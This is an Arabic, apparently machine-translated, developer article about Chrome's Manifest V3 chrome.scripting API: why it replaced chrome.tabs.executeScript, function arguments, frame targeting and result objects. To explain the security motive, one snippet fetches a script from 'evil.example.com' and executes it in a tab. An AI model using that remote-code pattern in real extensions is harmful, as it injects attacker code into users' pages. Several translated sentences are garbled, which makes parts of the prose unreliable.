لمحة عن واجهة برمجة التطبيقات chrome.scripting

يقدم Manifest V3 عددًا من التغييرات على النظام الأساسي للإضافات في Chrome. في هذه المشاركة، سنستكشف الدوافع والتغييرات الناتجة عن أحد أهم التغييرات: ومقدمة عن chrome.scripting API.

ما هو chrome.scripting؟

قد يشير الاسم إلى أنّ chrome.scripting هي مساحة اسم جديدة تم إدخالها في إصدار Manifest V3. مسؤولين عن إمكانات إدخال النصوص البرمجية والأنماط.

قد يكون المطوّرون الذين أنشأوا إضافات Chrome في السابق على دراية بأساليب إصدار Manifest V2. على Tabs API مثل chrome.tabs.executeScript chrome.tabs.insertCSS تسمح هذه الطرق للإضافات بإدخال النصوص البرمجية أوراق الأنماط إلى صفحات، على التوالي. في الإصدار Manifest V3، تم نقل هذه الإمكانات إلى chrome.scripting، ونسعى إلى توسيع نطاق واجهة برمجة التطبيقات هذه باستخدام بعض الإمكانات الجديدة في المستقبل.

أهمية إنشاء واجهة برمجة تطبيقات جديدة

مع تغيير مثل هذا، أحد الأسئلة الأولى التي تميل إلى الظهور هو، "لماذا؟"

دفعت بضعة عوامل مختلفة فريق Chrome إلى تقديم مساحة اسم جديدة للبرمجة النصية. أولاً، تُعد Tabs API بمثابة درج غير مرغوب فيه للميزات. ثانيًا، نحتاج إلى جعل تقسيم التغييرات التي سيتم إجراؤها على واجهة برمجة تطبيقات executeScript الحالية. ثالثًا، أدركنا أننا نريد توسيع نطاق كتابة النصوص الإمكانيات للإضافات. حددت هذه المخاوف معًا بوضوح الحاجة إلى مساحة اسم جديدة قدرات البرمجة النصية للمنزل.

درج الرسائل غير المرغوب فيها

من المشاكل التي أثارت إزعاج فريق الإضافات خلال السنوات القليلة الماضية هي تم تحميل واجهة برمجة تطبيقات chrome.tabs بشكل زائد. عندما تم تقديم واجهة برمجة التطبيقات هذه لأول مرة، كانت معظم الإمكانات التي المقدمة كانت تتعلق بالمفهوم العام لعلامة تبويب المتصفح. وعلى الرغم من ذلك، فقد كانت من مجموعة كبيرة من الميزات، وعلى مر السنين، تطوّرت هذه المجموعة كثيرًا.

بحلول الوقت الذي تم فيه إصدار Manifest V3، أصبحت واجهة برمجة التطبيقات Tabs API تغطي الإدارة الأساسية لعلامات التبويب. إدارة التحديد وتنظيم النوافذ والمراسلة والتحكم في التكبير/التصغير والتنقل الأساسي والبرمجة النصية بعض الإمكانات الأخرى الأصغر. في حين أن كل هذه مهمة، إلا أنها قد تكون مربكة بعض الشيء للمطوّرين عند بدء استخدامها ولفريق Chrome في الوقت الذي نحافظ فيه على النظام الأساسي للنظر في الطلبات الواردة من منتدى المطورين.

هناك عامل آخر معقّد، وهو أنّ إذن tabs غير مفهوم. في حين أن العديد من الشركات تحظر الأذونات الوصول إلى واجهة برمجة تطبيقات معيّنة (مثل storage)، يكون هذا الإذن صغيرًا. غير معتاد، حيث تمنح الإضافة إمكانية الوصول إلى الخصائص الحساسة في مثيلات علامة التبويب (وعن طريق أيضًا في واجهة برمجة تطبيقات Windows). من المفهوم أن العديد من مطوري الإضافات يعتقدون عن طريق الخطأ يحتاج إلى هذا الإذن للوصول إلى الطرق في Tabs API مثل chrome.tabs.create أو، chrome.tabs.executeScriptبمزيد من الأمانة. يساعد نقل الوظائف خارج Tabs API في توضيح بعض هذا الالتباس.

تغييرات قد تؤدي إلى أعطال

عند تصميم إصدار Manifest V3، كانت إحدى المشاكل الرئيسية التي أردنا معالجتها هي إساءة الاستخدام والبرامج الضارة. تم التفعيل من خلال "رمز برمجي مستضاف عن بُعد" - التعليمة البرمجية التي تم تنفيذها، ولكن لم يتم تضمينها في الإضافة طرد. من الشائع أن ينفِّذ مؤلفو الإضافات المسيءون نصوصًا برمجية تم جلبها من الخوادم البعيدة إلى وسرقة بيانات المستخدم وإدخال برامج ضارة والتهرب من الرصد. ورغم أنّ الجهات الفاعلة الجيدة تستخدم هذه الإمكانية أيضًا، في النهاية أنه كان ببساطة من الصعب جدًا البقاء على ما هو عليه.

هناك طريقتان مختلفتان يمكن للإضافات تنفيذ الرمز غير المجمَّع، إلا أنّ الطريقة ذات الصلة. إليك طريقة chrome.tabs.executeScript Manifest V2. تسمح هذه الطريقة للإضافة تنفيذ سلسلة عشوائية من التعليمات البرمجية في علامة تبويب مستهدفة. وهذا بدوره يعني أن أي مطور برامج ضار جلب نص برمجي عشوائي من خادم بعيد وتنفيذه داخل أي صفحة يمكن للإضافة الوصول إليه. كنا نعلم أنه إذا أردنا معالجة مشكلة التعليمات البرمجية البعيدة، سيتعين علينا تجاهل الجديدة.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

أردنا أيضًا إصلاح بعض المشكلات الأخرى الأكثر دقة في تصميم إصدار Manifest V2، جعل واجهة برمجة التطبيقات أداة أكثر تنقيحًا وقابلية للتنبؤ.

وعلى الرغم من أنّه كان بإمكاننا تغيير توقيع هذه الطريقة في Tabs API، فإنّنا شعرنا أنّه بين هذه التغييرات التي قد تؤدي إلى أعطال، وإضافة إمكانات جديدة (سيتم تناولها في القسم التالي)، سيكون أسهل للجميع.

تعزيز إمكانات البرمجة النصية

هناك اعتبار آخر دخل في عملية تصميم إصدار Manifest V3 هو الرغبة في تقديم إمكانات برمجة نصية إضافية للنظام الأساسي لإضافة Chrome. على وجه التحديد، أردنا إضافة دعم النصوص البرمجية للمحتوى الديناميكي وتوسيع إمكانات طريقة executeScript.

تعد إضافة النصوص البرمجية للمحتوى الديناميكي طلبًا منذ فترة طويلة في Chromium. اليوم، لا يمكن للإضافات المستنِدة إلى إصدار Manifest V2 وV3 أن تعلن بشكلٍ ثابت عن النصوص البرمجية للمحتوى في ملف manifest.json النظام الأساسي لا يوفر طريقة لتسجيل النصوص البرمجية الجديدة للمحتوى تسجيل النصوص البرمجية للمحتوى أو إلغاء تسجيل النصوص البرمجية للمحتوى في وقت التشغيل.

كنّا نعلم أنّنا نريد معالجة طلب الميزة هذا في إصدار Manifest V3، إلا أنّ أي من شعرت أن واجهات برمجة التطبيقات هي الموطن المناسب. تناولنا أيضًا المواءمة مع متصفّح Firefox في النصوص البرمجية للمحتوى. في واجهة برمجة التطبيقات، ولكننا رصدنا في وقت مبكر بعض العيوب الرئيسية في هذا الأسلوب. أولاً، علمنا أنّه سيكون لدينا توقيعات غير متوافقة (مثل إيقاف التوافق مع code). الخاص بك). ثانيًا، كانت هناك مجموعة مختلفة من قيود التصميم في واجهة برمجة التطبيقات (على سبيل المثال، الحاجة إلى تسجيل تستمر لمدة تتجاوز عمر عامل الخدمة). أخيرًا، قد تجعلنا مساحة الاسم هذه أيضًا وظيفة النصوص البرمجية للمحتوى حيث نفكر في البرمجة النصية في الإضافات على نطاق أوسع.

على صعيد executeScript، أردنا أيضًا توسيع نطاق ما يمكن أن تفعله واجهة برمجة التطبيقات هذه خارج نطاق إمكانات علامات التبويب يتوافق إصدار واجهة برمجة التطبيقات مع وبشكل أكثر تحديدًا، أردنا دعم الدوال والوسيطات بشكل أسهل واستهداف إطارات محددة، واستهداف إطارات غير "علامة تبويب" والسياقات.

من الآن فصاعدًا، سندرس أيضًا كيفية تفاعل الإضافات مع تطبيقات الويب التقدّمية (PWA) المثبَّتة وغير ذلك. والسياقات التي لا ترتبط من الناحية النظرية بـ "علامات التبويب".

التغييرات بين tab.executeScript وScripting.executeScript

في بقية هذه المشاركة، أود أن ألقي نظرة عن كثب على أوجه التشابه والاختلاف بين chrome.tabs.executeScript و chrome.scripting.executeScript

إدخال دالة باستخدام الوسائط

أثناء دراسة كيف يجب أن تتطور المنصة في ضوء التعليمات البرمجية المستضافة عن بُعد أردنا إيجاد توازن بين القوة الأولية لتنفيذ التعليمات البرمجية العشوائي السماح بنصوص المحتوى الثابت. كان الحل الذي أطلقناه هو السماح للإضافات بإدخال للعمل كنص برمجي للمحتوى ولتمرير صفيف من القيم كوسيطات.

لنلقِ نظرة سريعة على مثال (مبالغ في التبسيط). لنفترض أننا أردنا إدخال برنامج الترحيب بالمستخدم بالاسم عندما ينقر على زر إجراء الإضافة (الرمز في شريط الأدوات). في إصدار Manifest V2، يمكننا إنشاء سلسلة تعليمات برمجية ديناميكيًا وتنفيذ هذا النص البرمجي في .

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

على الرغم من أنّ إضافات Manifest V3 لا يمكنها استخدام رمز برمجي غير مضمَّن مع الإضافة، كان هدفنا هو بعض الخصائص الديناميكية التي تتيح استخدام كتل الرموز البرمجية العشوائية للإضافات المستنِدة إلى إصدار Manifest V2. تشير رسالة الأشكال البيانية والوسيطات والوظائف من الممكن لمراجعي سوق Chrome الإلكتروني ومستخدميه وغيرهم والأطراف المعنية بإجراء تقييم أكثر دقة للمخاطر التي تنطوي عليها الإضافة، مع السماح أيضًا تعديل إعدادات وقت تشغيل الإضافة استنادًا إلى إعدادات المستخدم أو حالة التطبيق

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

إطارات الاستهداف

أردنا أيضًا تحسين كيفية تفاعل مطوّري البرامج مع الإطارات في واجهة برمجة التطبيقات المعدَّلة. الإصدار 2 من البيان من executeScript، سمح للمطوّرين باستهداف جميع الإطارات في علامة تبويب أو علامة تبويب محدَّدة الإطار في علامة التبويب. يمكنك استخدام chrome.webNavigation.getAllFrames للحصول على قائمة بجميع الإطارات في علامة تبويب.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

في إصدار Manifest V3، استبدلنا السمة الاختيارية frameId عدد صحيح في كائن الخيارات بـ مصفوفة اختيارية frameIds من الأعداد الصحيحة، يتيح ذلك للمطوّرين استهداف إطارات متعدّدة في لقطة واحدة طلب بيانات من واجهة برمجة التطبيقات

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

نتائج إدخال النص البرمجي

لقد أدخلنا أيضًا تحسينات على طريقة عرض نتائج حقن النصوص البرمجية في الإصدار Manifest V3. "النتيجة" CANNOT TRANSLATE يتم تقييم العبارة النهائية في النص بشكل أساسي. فكر في الأمر على أنه القيمة التي تم إرجاعها عندما طلب eval() أو تنفيذ مجموعة من الرموز البرمجية في وحدة التحكّم في "أدوات مطوري البرامج في Chrome"، ولكن باستخدام رقم تسلسلي لتمرير النتائج عبر العمليات.

في إصدار Manifest V2، سيعرض executeScript وinsertCSS مصفوفة من نتائج التنفيذ العادية. لا بأس إذا كانت لديك نقطة حقن واحدة فقط، ولكن لا يمكن ضمان ترتيب النتائج عندما ثم إقحامها في إطارات متعددة بحيث لا توجد طريقة لمعرفة النتيجة المرتبطة الإطار.

لمثال ملموس، لنلقِ نظرة على الصفائف results التي يعرضها البيان 2 ومن إصدار Manifest V2. إصدار Manifest V3 للإضافة نفسها. سيدخل كلا الإصدارين من الإضافة البيانات نفسها للنص البرمجي للمحتوى وسنقارن النتائج على الصفحة التجريبية نفسها.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

عند تشغيل إصدار Manifest V2، نستعيد مصفوفة [1, 0, 5]. ما النتيجة المتوافقة مع الإطار الرئيسي وأي إطار iframe؟ لا نعرف القيمة المعروضة، لذا لا نعرف بالتأكيد.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

في إصدار Manifest V3، يحتوي results الآن على مصفوفة من كائنات النتائج بدلاً من مصفوفة من نتائج التقييم فقط، وتحدد كائنات النتيجة بوضوح معرّف الإطار لكل نتيجته. ويسهّل ذلك على المطوّرين كثيرًا الاستفادة من النتائج واتّخاذ إجراءات بشأن الإطار.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

الخاتمة

تقدّم الأخطاء في إصدار ملف البيان فرصة نادرة لإعادة النظر في واجهات برمجة تطبيقات الإضافات وتحديثها. هدفنا مع إصدار Manifest V3 هو تحسين تجربة المستخدم من خلال جعل الإضافات أكثر أمانًا بالإضافة إلى لتحسين تجربة المطور. من خلال تقديم "chrome.scripting" في الإصدار Manifest V3، استطعنا للمساعدة في تنظيف Tabs API، وإعادة تصميم executeScript للحصول على منصة إضافات أكثر أمانًا، ووضع الأساس لإمكانات جديدة للبرمجة النصية ستصبح متاحة في وقت لاحق من هذا العام.